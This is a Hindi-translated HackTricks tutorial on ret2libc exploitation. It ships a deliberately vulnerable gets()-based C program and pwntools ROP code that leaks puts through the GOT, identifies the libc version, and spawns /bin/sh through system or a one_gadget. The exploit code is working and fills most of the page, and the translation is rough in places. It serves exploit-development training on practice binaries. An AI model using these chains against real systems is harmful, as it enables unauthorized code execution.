22 KiB
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks को PRs जमा करके HackTricks और HackTricks Cloud github repos में।
त्वरित सारांश
- ओवरफ्लो ऑफसेट खोजें
POP_RDI
,PUTS_PLT
औरMAIN_PLT
गैजेट्स खोजें- पिछले गैजेट्स का उपयोग करके puts या किसी अन्य libc फ़ंक्शन का मेमोरी पता लीक करें और libc संस्करण खोजें (इसे डाउनलोड करें)
- पुस्तकालय के साथ, ROP की गणना करें और इसे एक्सप्लॉइट करें
अन्य ट्यूटोरियल और बाइनरी प्रैक्टिस करने के लिए
यह ट्यूटोरियल उस कोड/बाइनरी को एक्सप्लॉइट करेगा जो इस ट्यूटोरियल में प्रस्तावित किया गया है: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
और एक उपयोगी ट्यूटोरियल: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
कोड
फ़ाइलनाम: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - LIBC पता लगाने का टेम्पलेट
मैं यहाँ स्थित कोड का उपयोग करूंगा ताकि एक्सप्लॉइट बनाया जा सके।
एक्सप्लॉइट डाउनलोड करें और इसे विकल्पी बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- ऑफसेट खोजना
टेम्पलेट को एक ऑफसेट की आवश्यकता है जिसके बाद एक्सप्लॉइट के साथ जारी रखना है। यदि कोई प्रदान किया जाता है तो यह आवश्यक कोड का निष्पादन करेगा ताकि इसे खोजा जा सके (डिफ़ॉल्ट रूप से OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
क्रियान्वित python template.py
एक GDB कंसोल खुलेगा जिसमें कार्यक्रम क्रैश हो जाएगा। उस GDB कंसोल में x/wx $rsp
क्रियान्वित करें ताकि RIP को ओवरराइट करने वाले बाइट्स प्राप्त हों। अंत में एक python कंसोल का उपयोग करके ऑफसेट प्राप्त करें:
from pwn import *
cyclic_find(0x6161616b)
ऑफसेट (इस मामले में 40) पाने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें।
OFFSET = "A" * 40
एक और तरीका हो सकता है: pattern create 1000
-- रिटर्न तक चलाएं -- pattern seach $rsp
GEF से।
2- गैजेट्स खोजना
अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स puts
को कॉल करने के लिए उपयोगी होंगे libc को खोजने के लिए, और बाद में अंतिम ध्वनि को लॉन्च करने के लिए।
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
को फ़ंक्शन puts को कॉल करने के लिए आवश्यक है।
MAIN_PLT
को मुख्य फ़ंक्शन को फिर से कॉल करने के लिए आवश्यक है एक इंटरेक्शन के बाद ओवरफ़्लो को फिर से शोषित करने के लिए (असीमित दौरों के शोषण)। यह प्रोग्राम को फिर से कॉल करने के लिए प्रत्येक ROP के अंत में उपयोग किया जाता है।
POP_RDI को एक पैरामीटर को बुलाने के लिए आवश्यक है।
इस चरण में आपको कुछ भी नहीं चलाने की आवश्यकता है क्योंकि प्रत्येक चलाने के दौरान pwntools द्वारा सभी चीजें मिल जाएंगी।
3- LIBC पुस्तकालय खोजना
अब समय है पता लगाने का कि कौन सी libc पुस्तकालय का उपयोग हो रहा है। इसे करने के लिए हमें फ़ंक्शन puts
की मेमोरी में पता लगाना होगा और फिर हमें देखना होगा कि उस पते पर कौन सी पुस्तकालय संस्करण है।
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
इसे करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण लाइन है:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
यह कुछ बाइट भेजेगा जब तक RIP को ओवरराइट करना संभव हो: OFFSET
।
फिर, यह POP_RDI गैजेट का पता सेट करेगा ताकि अगला पता (FUNC_GOT
) RDI रजिस्ट्री में सहेजा जाए। यह इसलिए है क्योंकि हमें puts को बुलाना है जिसे हम पता के रूप में PUTS_GOT
का पता पास करेंगे क्योंकि मेमोरी में puts फ़ंक्शन का पता PUTS_GOT
द्वारा पॉइंट करने वाले पते में सहेजा जाता है।
उसके बाद, PUTS_PLT
को बुलाया जाएगा (RDI
में PUTS_GOT
के साथ) ताकि puts मेमोरी में PUTS_GOT
में भीतर की सामग्री पढ़ सके (मेमोरी में puts फ़ंक्शन का पता) और इसे छाप देगा।
अंत में, मुख्य फ़ंक्शन को फिर से बुलाया जाता है ताकि हम फिर से ओवरफ़्लो का शोध कर सकें।
इस तरह हमने puts फ़ंक्शन को धोखा दिया है कि वह मेमोरी में puts फ़ंक्शन का पता छापेगा (जो libc पुस्तकालय के अंदर है)। अब हमारे पास उस पते के साथ है तो हम खोज सकते हैं कि कौन सी libc संस्करण का उपयोग हो रहा है।
हम किसी स्थानीय बाइनरी का शोधन कर रहे हैं इसलिए यह आवश्यक नहीं है कि कौन सा libc संस्करण उपयोग हो रहा है (केवल /lib/x86_64-linux-gnu/libc.so.6
में पुस्तकालय खोजें)।
लेकिन, एक दूरस्थ शोध केस में मैं यहाँ विवरण देता हूँ कि आप इसे कैसे खोज सकते हैं:
3.1- libc संस्करण की खोज (1)
आप वेब पृष्ठ में खोज सकते हैं कि कौन सी पुस्तकालय का उपयोग हो रहा है: https://libc.blukat.me/
यह आपको libc के खोजे गए संस्करण को डाउनलोड करने की अनुमति देगा
3.2- libc संस्करण की खोज (2)
आप यह भी कर सकते हैं:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
इसमें कुछ समय लगेगा, धैर्य रखें। इसके लिए काम करने के लिए हमें चाहिए:
- Libc सिम्बल नाम:
puts
- लीकेड libc पता:
0x7ff629878690
हम यह तय कर सकते हैं कि कौन सी libc उपयोग की जा रही है।
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
हमें 2 मैच मिलते हैं (अगर पहला काम नहीं कर रहा है तो आपको दूसरा प्रयास करना चाहिए)। पहले वाला डाउनलोड करें:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
कॉपी करें libc को libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
से हमारे कामकाज निर्देशिका में।
3.3- लीक करने के लिए अन्य फ़ंक्शन
puts
printf
__libc_start_main
read
gets
4- आधारित libc पता लगाना और उसका शोषण
इस बिंदु पर हमें यह जानना चाहिए कि कौन सी libc पुस्तकालय का उपयोग हो रहा है। हम एक स्थानीय बाइनरी का शोषण कर रहे हैं इसलिए मैं केवल इस्तेमाल करूंगा: /lib/x86_64-linux-gnu/libc.so.6
तो, template.py
की शुरुआत में libc चर को बदलें: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
libc पुस्तकालय के पथ को देने से शोषण का शेष भाग स्वचालित रूप से होगा।
get_addr
फ़ंक्शन के भीतर libc का आधार पता लगाया जाएगा:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} ध्यान दें कि अंतिम libc बेस पता 00 में समाप्त होना चाहिए। यदि ऐसा नहीं है तो आपने गलत पुस्तकालय का लीक किया हो सकता है। {% endhint %}
फिर, सिस्टम फ़ंक्शन के पते और स्ट्रिंग "/bin/sh" का पता बेस पते से गणना किया जाएगा और दिया जाएगा libc पुस्तकालय का।
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
अंत में, /bin/sh निष्पादन शीघ्रता तैयार की जा रही है भेजी जाएगी:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Let's explain this final ROP.
अंतिम ROP (rop1
) को फिर से मुख्य फ़ंक्शन को बुलाकर समाप्त किया गया, फिर हम फिर से शोषण कर सकते हैं (इसीलिए OFFSET
यहाँ फिर से है)। फिर, हमें POP_RDI
को "/bin/sh" (BINSH
) के पते पर पुकारना है और सिस्टम फ़ंक्शन (SYSTEM
) को कॉल करना है क्योंकि "/bin/sh" का पता पैरामीटर के रूप में पास किया जाएगा।
अंत में, एक्ज़िट फ़ंक्शन का पता कॉल किया जाता है ताकि प्रक्रिया अच्छे से समाप्त हो जाए और कोई चेतावनी उत्पन्न न हो।
इस तरह शोषण एक _/bin/sh_** शैली को निष्पादित करेगा।**
4(2)- एक ONE_GADGET का उपयोग करना
आप ONE_GADGET का उपयोग करके एक शैली प्राप्त करने के लिए एक शैली प्राप्त कर सकते हैं बजाय सिस्टम और "/bin/sh" का उपयोग करने के। ONE_GADGET एक ROP पता का उपयोग करके केवल एक शैली प्राप्त करने के लिए libc लाइब्रेरी के अंदर कुछ तरीका खोजेगा।
हालांकि, सामान्यत: कुछ प्रतिबंध होते हैं, सबसे सामान्य और आसान टालने वाले वे जैसे हैं [rsp+0x30] == NULL
जैसे आप RSP के मानों को नियंत्रित करते हैं तो आपको बस कुछ अधिक NULL मान भेजना होगा ताकि प्रतिबंध टाला जा सके।
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
एक्सप्लॉइट फ़ाइल
आप इस वंशावशेषता का उपयोग करने के लिए एक टेम्पलेट यहाँ पा सकते हैं:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
सामान्य समस्याएँ
MAIN_PLT = elf.symbols['main'] नहीं मिला
यदि "main" प्रतीक मौजूद नहीं है। तो आप सीधे मुख्य कोड का पता लगा सकते हैं:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
और पता मैन्युअल रूप से सेट करें:
MAIN_PLT = 0x401080
Puts नहीं मिला
यदि बाइनरी Puts का उपयोग नहीं कर रहा है तो आपको यह जांचना चाहिए कि क्या यह इस्तेमाल कर रहा है
sh: 1: %s%s%s%s%s%s%s%s: not found
यदि आप इस त्रुटि को पाते हैं जब आप सभी एक्सप्लॉइट बनाने के बाद: sh: 1: %s%s%s%s%s%s%s%s: not found
तो कोशिश करें "/bin/sh" के पते में 64 बाइट कम करें:
BINSH = next(libc.search("/bin/sh")) - 64
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
दूसरे तरीके HackTricks का समर्थन करने के लिए:
- अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।